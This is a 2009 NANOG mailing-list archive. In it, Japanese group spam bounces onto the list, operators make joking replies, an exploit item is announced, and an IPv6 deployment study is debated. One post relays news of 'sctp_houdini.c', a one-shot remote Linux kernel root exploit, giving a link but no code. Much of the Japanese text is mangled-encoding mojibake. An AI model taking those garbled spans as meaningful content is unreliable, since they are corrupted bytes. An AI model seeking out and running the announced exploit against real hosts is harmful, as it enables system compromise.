yahoo.co.jp >> Date: Tue, 28 Apr 2009 15:12:53 +0900 >> Subject: ????[00240] ??????????????? >> >> ?? ? 2009?02?03? (?) >> ?? ? ??????????????? >> ????????????????????????? >> >> ???????????????????????JASRAC???????????????????????????????????????????????????????????????????????????????? >> ??????????????????????????????????????????????? >> ??????????????????????????????????????????????????????????????????????????????????????????????8?????????(?) >> >> ????????????????????UP?????????????????????????Say You Want Me?????????????????????????????????????????????????Next Time I Fall In >> Love????????????????UP????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? >> ?????????????????????????????????????????????????????????????????????????????????????????????????????????? >> >> ??????????????????UP?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? >> ???????????????????????????????????????UP????????????????????????????????????????????????????????????????????????????????????????? >> >> ??????????????????????????????? ??????????????????????????? ????????? ?????????????????????????????????????????????? >> ?????????????????????????????????????????JASRAC? ??JASRACK????????????????? >> ?????????????????????????????????????UP?????????????????????????????????????????????????????????????????????????????????????????????????????????????? >> ???????????????????????????????????????????? ???????? >> >> ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? >> ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????(?) >> >> ????????1?????????????????????????????????????????????????????????????????????????????????????(?)????????????????????????????????????????????????????? >> ???????????????????? ???????????????????????????????????????????????????????????????????????????????? >> >> ??????????????????????????????????????????????Get Wild????????????????? MIX????????? >> ???????????????????????????????????????????????????????????????????????????????????????????????????Get Wild????????????????????????????????????????? >> >> ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? >> ????????? >> >> ????????????????????????????????????????? >> >> >> >> >> --------------------------------- >> Power up the Internet with Yahoo! Toolbar. >> ??????? http://help.yahoo.co.jp/help/jp/groups/ ???????? http://groups.yahoo.co.jp/group/TamanoYamato/ ???????? mailto:TamanoYamato-owner at yahoogroups.jp ?????: http://rd.yahoo.co.jp/egroups/050616info/1.html ?????: http://rd.yahoo.co.jp/egroups/050616info/2.html ?????: http://rd.yahoo.co.jp/egroups/050616info/3.html? --- ?Yahoo!????????????Yahoo!?????7?7???????????? ????????????????? http://groups.yahoo.co.jp/local/notice/sw.html ??????? http://help.yahoo.co.jp/help/jp/groups/ ???????? http://groups.yahoo.co.jp/group/TamanoYamato/ ???????? mailto:TamanoYamato-owner at yahoogroups.jp ?????: http://rd.yahoo.co.jp/egroups/050616info/1.html ?????: http://rd.yahoo.co.jp/egroups/050616info/2.html ?????: http://rd.yahoo.co.jp/egroups/050616info/3.html? --- ?Yahoo!????????????Yahoo!?????7?7???????????? ????????????????? http://groups.yahoo.co.jp/local/notice/sw.html From james.martin at spirittelecom.com Tue Apr 28 07:50:20 2009 From: james.martin at spirittelecom.com (James Martin) Date: Tue, 28 Apr 2009 08:50:20 -0400 Subject: =?ISO-2022-JP?B?GyRCQmdPQjBsMkgbKEI=?=[00274] =?ISO-2022-JP?B?GyRCJUslM0YwJE47ZCRORjAyaCQsPkMkNSRsJGshRBsoQhskQiEqGyhC?= In-Reply-To: <49F6F98D.1060700@ukbroadband.com> References: <20090428061253.90612.qmail@web3602.mail.tnz.yahoo.co.jp> <49F6F98D.1060700@ukbroadband.com> Message-ID: Yahoo!??????????????????????????????????? --- I'm in! ______________________ James F. Martin Network Engineer Spirit Telecom Columbia, SC 803.726.9144 o 803.726.0726 f -----Original Message----- From: Leigh Porter [mailto:leigh.porter at ukbroadband.com] Sent: Tuesday, April 28, 2009 8:42 AM To: TamanoYamato at yahoogroups.jp Cc: mic.davidoliver at yahoo.com.hk; barrdavidhowardeqs1 at gmail.com; barrdavidhowardesq1 at gmail.com; mrs.larisa10001 at yahoo.com.hk; parleypaulson23 at yahoo.com.hk; henderson_mallick at yahoo.com.hk; chanleexox1 at live.com; info at netvigator.com Subject: Re: ????[00268] ??????????????? Yahoo!??????????????????????????????????? --- Lets all meet up for beer and talk about this. We could form a group and support eachother. Steven Walker wrote: > STOP SENDING ME BULLSHIT > > >> To: TamanoYamato at yahoogroups.jp >> From: alamiki1623 at yahoo.co.jp >> Date: Tue, 28 Apr 2009 15:12:53 +0900 >> Subject: ????[00240] ??????????????? >> >> ?? ? 2009?02?03? (?) >> ?? ? ??????????????? >> ????????????????????????? >> >> ???????????????????????JASRAC???????????????????????????????????????????????????????????????????????????????? >> ??????????????????????????????????????????????? >> ??????????????????????????????????????????????????????????????????????????????????????????????8?????????(?) >> >> ????????????????????UP?????????????????????????Say You Want Me?????????????????????????????????????????????????Next Time I Fall In >> Love????????????????UP????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? >> ?????????????????????????????????????????????????????????????????????????????????????????????????????????? >> >> ??????????????????UP?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? >> ???????????????????????????????????????UP????????????????????????????????????????????????????????????????????????????????????????? >> >> ??????????????????????????????? ??????????????????????????? ????????? ?????????????????????????????????????????????? >> ?????????????????????????????????????????JASRAC? ??JASRACK????????????????? >> ?????????????????????????????????????UP?????????????????????????????????????????????????????????????????????????????????????????????????????????????? >> ???????????????????????????????????????????? ???????? >> >> ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? >> ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????(?) >> >> ????????1?????????????????????????????????????????????????????????????????????????????????????(?)????????????????????????????????????????????????????? >> ???????????????????? ???????????????????????????????????????????????????????????????????????????????? >> >> ??????????????????????????????????????????????Get Wild????????????????? MIX????????? >> ???????????????????????????????????????????????????????????????????????????????????????????????????Get Wild????????????????????????????????????????? >> >> ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? >> ????????? >> >> ????????????????????????????????????????? >> >> >> >> >> --------------------------------- >> Power up the Internet with Yahoo! Toolbar. >> ??????? http://help.yahoo.co.jp/help/jp/groups/ ???????? http://groups.yahoo.co.jp/group/TamanoYamato/ ???????? mailto:TamanoYamato-owner at yahoogroups.jp ?????: http://rd.yahoo.co.jp/egroups/050616info/1.html ?????: http://rd.yahoo.co.jp/egroups/050616info/2.html ?????: http://rd.yahoo.co.jp/egroups/050616info/3.html? --- ?Yahoo!????????????Yahoo!?????7?7???????????? ????????????????? http://groups.yahoo.co.jp/local/notice/sw.html ??????? http://help.yahoo.co.jp/help/jp/groups/ ???????? http://groups.yahoo.co.jp/group/TamanoYamato/ ???????? mailto:TamanoYamato-owner at yahoogroups.jp ?????: http://rd.yahoo.co.jp/egroups/050616info/1.html ?????: http://rd.yahoo.co.jp/egroups/050616info/2.html ?????: http://rd.yahoo.co.jp/egroups/050616info/3.html? --- ?Yahoo!????????????Yahoo!?????7?7???????????? ????????????????? http://groups.yahoo.co.jp/local/notice/sw.html From srwalker65 at hotmail.com Tue Apr 28 07:58:39 2009 From: srwalker65 at hotmail.com (Steven Walker) Date: Tue, 28 Apr 2009 08:58:39 -0400 Subject: =?ISO-2022-JP?B?GyRCQmdPQjBsMkgbKEI=?=[00275] =?ISO-2022-JP?B?GyRCNVckNyRWJGobKEIbJEIkRyQ5ITxARD85JEskJCReJDkbKEI=?= In-Reply-To: <20090428061131.97422.qmail@web3609.mail.tnz.yahoo.co.jp> References: <20090428061131.97422.qmail@web3609.mail.tnz.yahoo.co.jp> Message-ID: Sorry about that NANOG. I though it was more junk from the HK spammers. > To: TamanoYamato at yahoogroups.jp > From: alamiki1623 at yahoo.co.jp > Date: Tue, 28 Apr 2009 15:11:31 +0900 > Subject: ????[00244] ????????????? > > ?? ? 2009?04?28? (?) > ?? ? ????????????? > ???????????????????????????????????????????????????????????????????????????????????????????????????? > ??????????????????????????????????????????????????????????????????????????4???????????????????????????????????????????? > > ?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????(?) > ?????????(?) ??????????????????????????????????????????????????????????????????????????????????????????????????????????????? > > ????????????????????30???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? > ?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? > > ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? > ??????????? > > ????????????????????????????????????????????????????????????????????????????????????????????????? > > ?JASRAC?????????????????????????????????? ????????????????????????????????????????????????? > > ? > ?????2???????????????????????????????????????????????????????CD?????????????????????????????????????????????????????????????????????? > > > > > --------------------------------- > Power up the Internet with Yahoo! Toolbar. From ivan at shcherbyna.kiev.ua Tue Apr 28 08:05:42 2009 From: ivan at shcherbyna.kiev.ua (Ivan Shcherbyna) Date: Tue, 28 Apr 2009 16:05:42 +0300 Subject: =?ISO-2022-JP?B?GyRCQmdPQjBsMkgbKEI=?=[00277] Re: ?$BBgOB0l2H[00264] ?$B%K%3F0$N?(B?$B;d$NF02h$,>C$5$l$k!D?(B?$B!* In-Reply-To: References: <20090428061253.90612.qmail@web3602.mail.tnz.yahoo.co.jp> Message-ID: <20090428130542.GK63382@shcherbyna.kiev.ua> Yahoo!$B%0%k!<%W$+$i$N=EMW$J$*CN$i$;$,%a!<%k2STOP SENDING ME BULLSHIT who is all this people? :) > >> To: TamanoYamato at yahoogroups.jp >> From: alamiki1623 at yahoo.co.jp >> Date: Tue, 28 Apr 2009 15:12:53 +0900 >> Subject: ?$BBgOB0l2H[00240] ?$B%K%3F0$N;d$NF02h$,>C$5$l$k!D!* >> >> ?$BF|IU ?$B!' 2009?$BG/02?$B7n03?$BF| (?$B2P) >> ?$B7oL> ?$B!' ?$B%K%3F0$N;d$NF02h$,>C$5$l$k!D!* >> ?$B!!B3$1$F=q$$$A$c$$$^$9$,!#$:$C$H=q$-$?$+$C$?$3$H!# >> >> ?$B!!%K%3%K%3F02h!"$_$s$JCN$C$F$^$9$h$M!#Cx:n)$7$A$c$$$1$J$$$1$I!"$*$b$7$m$$$+$i8+$F$^$9$h!> ?$B%F%l%S?@F`@n$O<+$iJ|Aw:Q$_$N$b$N$r%K%3F0$GN.$7$F$$$k$N$G2?$NLdBj$b$J$$$G$9!#%F%l%S?@F`@n0N$$!* >> ?$B%t%!%s%W$5$s:G9b$G$9!*!*!J?M$,NI$/$FE7A3$G$*NAM}9%$-$G@$OC9%$-$J$H$3$m$,!"$I$&$7$F$bM'C#$N%2%$$N;R$H%-%c%i$,$+$V$k$s$G$9$,!D!K%T!<$A$c$s$b9%$-!#%j!<%5%k!&%&%'%]%s$@$1$I0lEYH/F0$9$k$H=P) >> >> ?$B!!$G!"K\Bj!#%K%3F0$K5nG/!"DA$7$/;d$N6J$,UP?$B$5$l$F$$$?$N$G$9$h$M!#;d<+?H$b0lHV9%$-$J%"%k%P%`!XSay You Want Me?$B!Y$NCf$+$i%&%D!J1'ET5\N4$5$s!K$,;22C$7$F$/$l$F$A$g$C$H$@$1%G%e%(%C%HIw$K$J$C$F$$$k6J$J$N$G$9$,!#!XNext Time I Fall In >> Love?$B!Y!#;d$b0lEY8+$K9T$-$^$7$?$h!$K4r$7$+$C$?!#$@$C$F$"$N%"%k%P%`GQHW$J$s$G$9$b$s!D!#:n;l:n6J2N>'$^$G$7$F$$$k> ?$B$i$($?$i%Q%V%j%7%F%#$G$O$J$$$G$9$+!#%$%.%j%9$G@):n$7$?;W$$=P$b;W$$F~$l$b$b$N$9$4$/$"$k$"$N%"%k%P%`$@$1$G$b$$$$$+$iI|9o$7$FM_$7$$!D!#I|9o$8$c$J$/$F$b$$$$$+$i6J$@$1$G$b$3$s$J$U$&$K%M%C%H$KCV$-$?$$$H;W$C$F$$$?$N$K!# >> >> ?$B!!Cx:nJ*$K$h$C$F$O1G2h$J$I$O%M%C%H$KUP?$B$5$l$k$H3N$+$K:$$j$^$9!#1G2h$r2?EY$b2?EY$b8+$k?M$O$J$+$J$+$$$J$$!#6Z$,$o$+$C$F$7$^$($P=*$o$j$C$FJ}$,B?$$$G$7$g$&!#$?$@2;3Z$@$1$O$=$N:_$jJ}$,B>$NCx:nJ*$H at -> ?$B$b$N!#$@$+$i$3$3$i$X$s$,1G2h$J$I$NCx:nJ*$H0c$C$F!"%M%C%H$r at kEA$H$7$F;H$($k$7!"UP?$B$5$l$F2?EY$bD0$$$F$b$i$C$FFk at w$s$G$b$i$&$3$H$O!";d$O$$$$$3$H$@$H;W$C$F$$$^$9!#FC$K at kEA$K$*6b$b?MNO$b2?$b;H$($J$$%"!<%F%#%9%H$K$H$C$F$O%M%C%H$O$9$P$i$7$$>l=j$G$O$J$$$+$J$"$H;W$&!# >> >> ?$B!!$G!"$=$&;W$C$F$$$?$H$3$m$,!"$D$$:G6a8+$K9T$C$?$i!"$J$s$H!*!* ?$B:o=|$5$l$F$^$7$?!#M}M3$O!V8"Mx'$9$Y$F;d$G$9!#$G$OCx:nNY@\8"4XO"!) >> ?$B1iAU> ?$BJq3g7 at Ls$r7k$V$H$+$J$s$H$+!J at 53N$KGD0.$7$F$^$;$s$,!K!#B>$K$b$?$/$5$s$N6J$,UP?$B$5$l$F$$$kCf!"2?8N;d$N6J!J$=$l$bFC$K%"%/%;%9?t$,$9$4$+$C$?$o$1$G$b$J$$!K$,!)!)!!Gd$l$F$$$k%_%e!<%8%7%c%s$N$b$N$J$i$o$+$k$1$I!D!#86HW8"$r;}$C$F$$$k%l%3!<%I2q> ?$B$C$F$$$k$N$@$+$i8@$&0UL#$b$J$$!#;d$N6J$,%K%3F0$GN.$5$l$F:$$k?M$C$F$$$k$s$G$7$g$&$+!D!)!) ?$B$H$C$F$bFf$G$9!# >> >> ?$B!!$R$m$f$-$5$s$K$?$:$M$l$P$o$+$k$G$7$g$&$+!#;d$O%M%C%H$d$j;O$a$?:"%"%/%7%G%s%H$G!"$?$^$?$^$G$-$?$P$+$j$N#2$A$c$s$M$k$K$5LB$$9~$s$G!"$^$@4W;6$H$7$F$$$?#2$A$c$s$GKhHUM7$s$G$$$?;~4|$,$"$j$^$7$?!#%M%C%H$N$3$HCN$i$J$$;d$O$9$C$+$jE7A307$$$5$l$F!"FM$C9~$^$l$?$j=u8@$7$F$b$i$C$?$j!"8GDj%O%s%I%k!J%3%F%O%s!K >> ?$B$N?M$?$A$K$b$+$o$$$,$C$F$b$i$$$^$7$?!JCf$N?MCN$i$J$$$+$i$_$s$J;d$r%,%-$s$A$g$@$H;W$C$F$$$?$i$7$$!K!#$R$m$f$-$5$s$b$$$D$b$$$F!";d$N!V4IM}?M$5$s$F$$$D$b$$$k$N!)!W$C$F$G$9$h$s!W$FEz$($F$/$l$?$N$G!"$=$l$r$:$C$H?.$8$F$$$?GOP) >> >> ?$B!!#2$A$c$s$M$k$N1?$B<~G/5-G0%Q!<%F%#$K$b$3$C$=$j;22C$7$^$7$?$h!#%[%F%k$N%9%#!<%H$K=8$^$C$?%3%F%O%s$N?M$?$A$H$?$@$*$7$c$Y$j$7$F$?$@$1$@$1$I!#$[$m?l$$$N$R$m$f$-$5$s$K2?8N$+F,C!$+$l$?3P$($,$"$k(?$B>P)?$B!!0lEY0l=o$K$*?);v$b$7$^$7$?!#$G$b#2$A$c$s$M$k$,Bg$-$/$J$k$K$D$l$9$C$+$jAB1s$K$J$C$F$7$^$$$^$7$?$,!#:#$3$= >> ?$B!"$3$N%3%M%/%7%g%s$r;H$&;~$G$O$J$$$N$+!) ?$B$H;W$$$^$7$?$h!#$($(!"$($(!#$R$m$f$-$5$s!"$$$C$?$$C/$,;d$NF02h$r>C$9$h$&$K?=@A$7$?$N$G$9$+!> >> ?$B!!$D$$$G$K$V$C$A$c$1$F=q$$$A$c$$$^$9$,!#5H4v;0$5$s$N!V$*$iEl5~$59T$/$@!W$r%5%s%W%j%s%0$7$?!XGet Wild?$B!Y$O$9$4$$$G$9$M!#$H$K$+$/$&$^$$!* MIX?$B$7$??M$9$4$$$G$9!* >> ?$B%;%s%9$"$j$^$9!#2N;l$NFbMF$^$G9MN8$5$l$F4v;0$5$s$N9g$$$NP$$$^$7$?!#85!9!V$*$iEl5~$59T$/$@!W$,%i%C%W7O$@$+$i%5%s%W%j%s%0$K$O;}$C$F$3$$$@$7!"$I$N6J$H$b$o$j$H9g$o$;0W$$$N$@$1$I!"!XGet Wild?$B!Y$O$=$NCf$G$b=(0o!#!D$C$F!";d$,$3$&$$$&$3$H=q$$$F$$$F$$$$$N$@$m!<$+!#$^!<$$$$$d!# >> >> ?$B!!$^$?4X78$J$$$1$I%G%S%e!<$7$?$F$N:"!"%W%m%b!<%7%g%s$G5H4v;0$5$s$N%i%8%*$K=P1i$5$;$F$b$i$C$?$3$H$,$"$j$^$9!#$H$C$F$b9x$,Dc$/$F!"$=$N:"$O$7$c$Y$k$N$,6l]$@$1$O6/$/;D$C$F$^$9!#2?$r$7$c$Y$C$?$N$+$5$C$Q$j3P >> ?$B$($F$^$;$s$,!J4@!K >> >> ?$B!!$H$$$&$3$H$G!"@*$$$G%K%3F0$N$3$H=q$$$A$c$C$?!#M'C#$N=PHG> >> >> >> >> --------------------------------- >> Power up the Internet with Yahoo! Toolbar. -- with best regards SHIO-UANIC $B%X%k%W%Z!<%8!'(B http://help.yahoo.co.jp/help/jp/groups/ $B%0%k!<%W%Z!<%8!'(B http://groups.yahoo.co.jp/group/TamanoYamato/ $B%0%k!<%W4IM}\$7$/$O!V$*CN$i$;!W$r$4Mw2<$5$$!#(B http://groups.yahoo.co.jp/local/notice/sw.html From karnaugh at karnaugh.za.net Tue Apr 28 08:00:41 2009 From: karnaugh at karnaugh.za.net (Colin Alston) Date: Tue, 28 Apr 2009 15:00:41 +0200 Subject: =?ISO-2022-JP?B?GyRCQmdPQjBsMkgbKEI=?=[00279] =?ISO-2022-JP?B?GyRCJUslM0YwGyhCGyRCJE47ZCRORjAyaCQsPkMkNSRsJGshRCEqGyhC?= In-Reply-To: <01759D50DC387C45A018FE1817CE27D755085E1104@CPExchange1.cpgreeley.com> References: <20090428061253.90612.qmail@web3602.mail.tnz.yahoo.co.jp> <49F6F98D.1060700@ukbroadband.com> <01759D50DC387C45A018FE1817CE27D755085E1104@CPExchange1.cpgreeley.com> Message-ID: <49F6FDF9.70601@karnaugh.za.net> Yahoo!??????????????????????????????????? --- On 2009/04/28 02:50 PM Blake Pfankuch wrote: > Yahoo!??????????????????????????????????? > --- > This idea pleases me. Beer. Oh tasty beer.... And chicken wings? Please tell me there are chicken wings. ??????? http://help.yahoo.co.jp/help/jp/groups/ ???????? http://groups.yahoo.co.jp/group/TamanoYamato/ ???????? mailto:TamanoYamato-owner at yahoogroups.jp ?????: http://rd.yahoo.co.jp/egroups/050616info/1.html ?????: http://rd.yahoo.co.jp/egroups/050616info/2.html ?????: http://rd.yahoo.co.jp/egroups/050616info/3.html? --- ?Yahoo!????????????Yahoo!?????7?7???????????? ????????????????? http://groups.yahoo.co.jp/local/notice/sw.html From karnaugh at karnaugh.za.net Tue Apr 28 08:11:27 2009 From: karnaugh at karnaugh.za.net (Colin Alston) Date: Tue, 28 Apr 2009 15:11:27 +0200 Subject: =?windows-1252?Q?=3F=3F=3F=3F=5B00275=5D_=3F=3F=3F=3F=3F=3F?= =?windows-1252?Q?=3F=3F=3F=3F=3F=3F=3F?= In-Reply-To: References: <20090428061131.97422.qmail@web3609.mail.tnz.yahoo.co.jp> Message-ID: <49F7007F.30503@karnaugh.za.net> On 2009/04/28 02:58 PM Steven Walker wrote: > Sorry about that NANOG. I though it was more junk from the HK spammers. Don't NANOG people have far better ways to deal with spammers than yelling at them? From rgolodner at infratection.com Tue Apr 28 08:26:59 2009 From: rgolodner at infratection.com (Richard Golodner) Date: Tue, 28 Apr 2009 08:26:59 -0500 Subject: Spam to the list from Japan... Message-ID: <01e001c9c805$03132db0$09398910$@com> Apparently no operational content here. Thanks to Google?s translation service: Date: 2009 Tuesday, April 28 Subject: - I have not seen in Aomori I have not seen is it hourly. How are you everyone. I'm relaxed and still. Now, in Aomori.?REMASHITA finally. Tetsu and because you live in the Hirosaki cherry blossoms in full bloom by TOMO, Ohanami also do it? I was invited to work with KIRASAN. But since I missed the last plane (perspiration), soft bear that has been "let's go by train, the train" I mean, I came by train. He was quite sudden so I?RETA by a train. Peaceful train journey BONBI no. That world is still a lot of things happening. Taepodong or flying. Uproar in Japan and in the nude for her talent. It's overwrought media. Of laughed, "He yelled words of mystery" as a headline article. Cry for no reason and reasoned in terms of people and a naked and drunk. Anything mysterious ... (laughs) Hatoyama anger over her (laughs) There is important work that IMEJIKYARAKUTA, certainly as a society should care because it was in a position of responsibility I have. Maybe it was also like one?BITAI Park. It is more painful is always good young man. The chest hurt from it, a nursing mother's 30 News was cute singer who committed suicide at the grave of the father before you continue. This is not someone else. Previously, only one son were hard to stop work to care for the mother of dementia, and to kill my mother die at the Kamogawa Kawahara?KI?Without missing a little money There was a scandal. TSURAKATTA or how. I read the news and reported?GUMI and even the judge in the court ruling and compassionate decision. Cry every time you recall it. I must be alone in the bay so far? I do not have the time this goes to why .... I read the end of his mistake and feel sorry that Aso is smacked in the media and how it can look trashy, but I think gold or temporary benefits, and it looks like the effect, I think it's kind. BARAMAI consumption to increase by even a little money I do not think .... Rapidly entering the age of retirement of baby boomers coming from it. Care issues Is very concerned about. Tetsuya Komuro and that .... I hope in my heart for everything you can think .... Not seen in the eyes of ordinary people know it, and now that we should not say anything because I think I'm not. Nico JASRAC or acting like, I often I step on a land mine wrote something ... (sweat) and I think it is proper to consider the issue and the publicity I got from Nico's motion. In full today at the Sakura Sakura and cherry blossoms of Hirosaki Castle from when you live by Tetsu & TOMO. I could do two times. After the live CD or sold.??so help me, near you, please come and see you. Cherry, great fun, but have not seen yet. So, lie down! ! From Marc-Antoine.Chabot at vircom.com Tue Apr 28 08:31:27 2009 From: Marc-Antoine.Chabot at vircom.com (Marc-Antoine.Chabot) Date: Tue, 28 Apr 2009 09:31:27 -0400 Subject: ????[00275] ????????????? In-Reply-To: <49F7007F.30503@karnaugh.za.net> References: <20090428061131.97422.qmail@web3609.mail.tnz.yahoo.co.jp> <49F7007F.30503@karnaugh.za.net> Message-ID: Interesting.. It's bouncing from a yahoo.co.jp group to the Nanog list. Anyone know a live contact for abuse at [NANOG]? *grin* -----Original Message----- From: Colin Alston [mailto:karnaugh at karnaugh.za.net] Sent: Tuesday, April 28, 2009 9:11 AM To: NANOG list Subject: Re: ????[00275] ????????????? On 2009/04/28 02:58 PM Steven Walker wrote: > Sorry about that NANOG. I though it was more junk from the HK spammers. Don't NANOG people have far better ways to deal with spammers than yelling at them? From ljb at merit.edu Tue Apr 28 08:47:59 2009 From: ljb at merit.edu (Larry Blunk) Date: Tue, 28 Apr 2009 09:47:59 -0400 Subject: ????[00275] ????????????? In-Reply-To: References: <20090428061131.97422.qmail@web3609.mail.tnz.yahoo.co.jp> <49F7007F.30503@karnaugh.za.net> Message-ID: <49F7090F.2050702@merit.edu> Unfortunately, the require_explicit_destination option was not set in the MailMan config for the NANOG list. This has been corrected. Regards, Larry Blunk Merit Marc-Antoine.Chabot wrote: > Interesting.. It's bouncing from a yahoo.co.jp group to the Nanog list. > > Anyone know a live contact for abuse at [NANOG]? > *grin* > > -----Original Message----- > From: Colin Alston [mailto:karnaugh at karnaugh.za.net] > Sent: Tuesday, April 28, 2009 9:11 AM > To: NANOG list > Subject: Re: ????[00275] ????????????? > > On 2009/04/28 02:58 PM Steven Walker wrote: > >> Sorry about that NANOG. I though it was more junk from the HK spammers. >> > > Don't NANOG people have far better ways to deal with spammers than > yelling at them? > > > From ge at linuxbox.org Tue Apr 28 09:10:16 2009 From: ge at linuxbox.org (Gadi Evron) Date: Tue, 28 Apr 2009 17:10:16 +0300 Subject: one shot remote root for linux? Message-ID: <49F70E48.7020702@linuxbox.org> This is one of them mysterious and rare cases where a non router OS vulnerability may affect network operations. Sometimes news finds us in mysterious yet obvious ways. HD Moore (respected security researcher) set a status which I noticed on my twitter: @hdmoore reading through sctp_houdini.c - one-shot remote linux kernel root - http://kernelbof.blogspot.com/ I asked him about it on IM, wondering if it is real: "looks like that but requires a sctp app to be running" Naturally, I retweeted. Signed, @gadievron From randy at psg.com Tue Apr 28 10:04:08 2009 From: randy at psg.com (Randy Bush) Date: Wed, 29 Apr 2009 00:04:08 +0900 Subject: Spam to the list from Japan... In-Reply-To: <01e001c9c805$03132db0$09398910$@com> References: <01e001c9c805$03132db0$09398910$@com> Message-ID: > Subject: - I have not seen in Aomori sakura are probably still out up there. could be beatiful. pretty town. and great fish. randy From hectorherrera at gmail.com Tue Apr 28 12:01:59 2009 From: hectorherrera at gmail.com (Hector Herrera) Date: Tue, 28 Apr 2009 10:01:59 -0700 Subject: Beer Message-ID: Hmmm ... beeer ... chicken wings ... is it lunch time yet? Anybody here from Vancouver BC that wants to go for beer and wings? 2009/4/28 Leigh Porter : > > Lets all meet up for beer and talk about this. We could form a group and > support eachother. > > Steven Walker wrote: >> STOP SENDING ME BULLSHIT -- Hector Herrera President Pier Programming Services Ltd. From william.mccall at gmail.com Tue Apr 28 12:21:17 2009 From: william.mccall at gmail.com (William McCall) Date: Tue, 28 Apr 2009 12:21:17 -0500 Subject: Study of IPv6 Deployment In-Reply-To: <49F6C6FE.7080006@spaghetti.zurich.ibm.com> References: <10BA3662CE0C4030989C1765A0CEE76E@awesometron40k> <49F6C6FE.7080006@spaghetti.zurich.ibm.com> Message-ID: On Tue, Apr 28, 2009 at 4:06 AM, Jeroen Massar wrote: > Elliott Karpilovsky wrote: > > Hello everyone. My name is Elliott Karpilovsky, a student at Princeton > University. In collaboration with Alex Gerber (AT&T Research), Dan Pei (AT&T > Research), Jennifer Rexford (Princeton University), and Aman Shaikh (AT&T > Research), we studied the extent of IPv6 deployment at both global and local > levels. Our conclusions can be summarized by the following three points: > > > > 1.) IPv6 deployment is not seen as a pressing issue. > > 2.) We saw a lack of meaningful IPv6 traffic (mostly DNS/Domain and ICMP > messages), possibly indicating that IPv6 networks are still experimental. > > 3.) Studying Teredo traffic suggested that it may be used for NAT busting > by P2P networks. > > > > Our paper (submitted and presented at PAM 2009) can be found at > http://www.cs.princeton.edu/~elliottk/ipv6study.html. If you have comments or feedback with respect to these results, please > feel free to express them. > > Nasty comment time... > > "To analyze native IPv6 traf?c, we use Net?ow records collected from an > IPv6 Internet gateway router in a US tier-1 ISP with 11 IPv6 BGP > neighbors. These records were collected from 2008-4-1 to 2008-9-26, and > are taken from the business customers. " > > Sorry to have to make this comment, but the IPv6 side of the Internet is > quite a bit larger than "11 peers". I don't really think that AT&T can > call themselves a "tier-1 ISP" on the IPv6 field (they can on IPv4), > especially as there are these wonderful give-aways as using OCCAID as a > transit: > > [..] > 7 fr-par02a-re1-t-2.ipv6.aorta.net (2001:730::1:2d) 51.944 ms 51.596 > ms 51.915 ms > 8 uk-lon01a-re1-t-1.ipv6.aorta.net (2001:730::1:2a) 60.802 ms 61.405 > ms 61.498 ms > 9 ibr01-ve26.lndn01.occaid.net (2001:7f8:4::7577:1) 37.941 ms 37.797 > ms 37.88 ms > 10 bbr01-p1-0.nwrk01.occaid.net (2001:4830:fe:1010::2) 106.622 ms > 106.538 ms 106.701 ms > 11 r1.mdtnj.ipv6.att.net (2001:4830:e2:2a::2) 145.847 ms 145.762 ms > 146.049 ms > 12 2001:1890:61:9017::2 (2001:1890:61:9017::2) 222.045 ms 222.694 ms > 223.185 ms > 13 mail.ietf.org (2001:1890:1112:1::20) 221.683 ms 221.66 ms 222.839 > ms > > Heck, I can't find a single ISP in GRH with which I can reach AT&T > (where eg www.ietf.org is currently in) from Europe directly. > > Unfortunately, I will have to state that that thus completely makes that > whole paper useless as the data is used is just that: useless. > > I really really really hope that AT&T finally realizes that they have to > start deploying IPv6. > > When they have done that, re-run your "study" and then release those > numbers as then they will maybe be interesting when there are actual > customers on the links. > > Greets, > Jeroen > > From william.mccall at gmail.com Tue Apr 28 12:21:48 2009 From: william.mccall at gmail.com (William McCall) Date: Tue, 28 Apr 2009 12:21:48 -0500 Subject: Study of IPv6 Deployment In-Reply-To: <10BA3662CE0C4030989C1765A0CEE76E@awesometron40k> References: <10BA3662CE0C4030989C1765A0CEE76E@awesometron40k> Message-ID: On Mon, Apr 27, 2009 at 10:56 PM, Elliott Karpilovsky < elliottk at cs.princeton.edu> wrote: > Hello everyone. My name is Elliott Karpilovsky, a student at Princeton > University. In collaboration with Alex Gerber (AT&T Research), Dan Pei (AT&T > Research), Jennifer Rexford (Princeton University), and Aman Shaikh (AT&T > Research), we studied the extent of IPv6 deployment at both global and local > levels. Our conclusions can be summarized by the following three points: > > 1.) IPv6 deployment is not seen as a pressing issue. Agreed. SPs are driven by customers. Customers, generally, still want the IPv4 net. However, at least where I am at, we have started to gain more and more demand for IPv6 services (in this case, its specific to Private IP services). The relief is hampered by the ability to provide the service quality demanded by our customers. As an SP, if you can't provide the quality and technology together, you will push back to stave it off until you are able to provide both (either way is less than optimal, but one way results in losing whole accounts and the other is just a minor setback) > > 2.) We saw a lack of meaningful IPv6 traffic (mostly DNS/Domain and ICMP > messages), possibly indicating that IPv6 networks are still experimental. There is not a widespread adoption yet. Until SPs are deploying gear that is adept to handling this traffic and able to guarantee the service quality, there will not be a significant load on the IPv6 infrastructure. On a separate rant, since we have to NAT/PAT on IPv4 already, who really cares if we NAT/PAT between IPv4 and IPv6? Interop as a transition tool would certainly hasten the deployment of IPv6. With major SW vendors now providing full support for the IPv6 suite, SPs that provide interop with IPv4 can start the migration sooner rather than later. > > 3.) Studying Teredo traffic suggested that it may be used for NAT busting > by P2P networks. Kudos to the p2p developers/users who have gone this route. What an intuitive way to handle matters. On Tue, Apr 28, 2009 at 4:06 AM, Jeroen Massar wrote: Unfortunately, I will have to state that that thus completely makes that > whole paper useless as the data is used is just that: useless. > > I really really really hope that AT&T finally realizes that they have to > start deploying IPv6. > > When they have done that, re-run your "study" and then release those > numbers as then they will maybe be interesting when there are actual > customers on the links. > > Greets, > Jeroen >From our perspective as net engineers, this is how we are going to view this. The information in the document gives *some* good information, but 